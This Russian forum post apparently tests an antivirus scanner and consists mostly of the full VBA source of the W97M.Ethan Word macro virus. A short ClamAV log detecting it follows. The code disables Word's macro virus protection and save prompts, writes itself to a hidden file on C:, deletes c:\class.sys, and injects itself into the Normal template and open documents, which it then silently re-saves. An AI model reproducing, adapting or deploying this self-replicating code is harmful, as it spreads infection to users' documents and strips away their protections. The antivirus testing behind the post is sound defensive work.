forum.lissyara.su

Код: Выделить всё

Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
  With Options: 
         .ConfirmConversions = 0:
         .VirusProtection = 0:
         .SaveNormalPrompt = 0: 
  End With
Randomize

If Dir("c:\ethan.___", 6) = "" Then
           Open "c:\ethan.___" For Output As #1
 For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
 a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
 Print #1, a
 Next i
 Close #1
 SetAttr "c:\ethan.___", 6
End If

If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub

Код: Выделить всё

C:\Documents and Settings\zg\Рабочий стол\тестим хамалу\index.html: W97M.Ethan FOUND
----------- SCAN SUMMARY -----------
Known viruses: 437959
Engine version: 0.92
Scanned directories: 0
Scanned files: 1
Skipped non-executable files: 0
Infected files: 1

Data scanned: 0.00 MB
Time: 8.859 sec (0 m 8 s)
--------------------------------------
Completed
--------------------------------------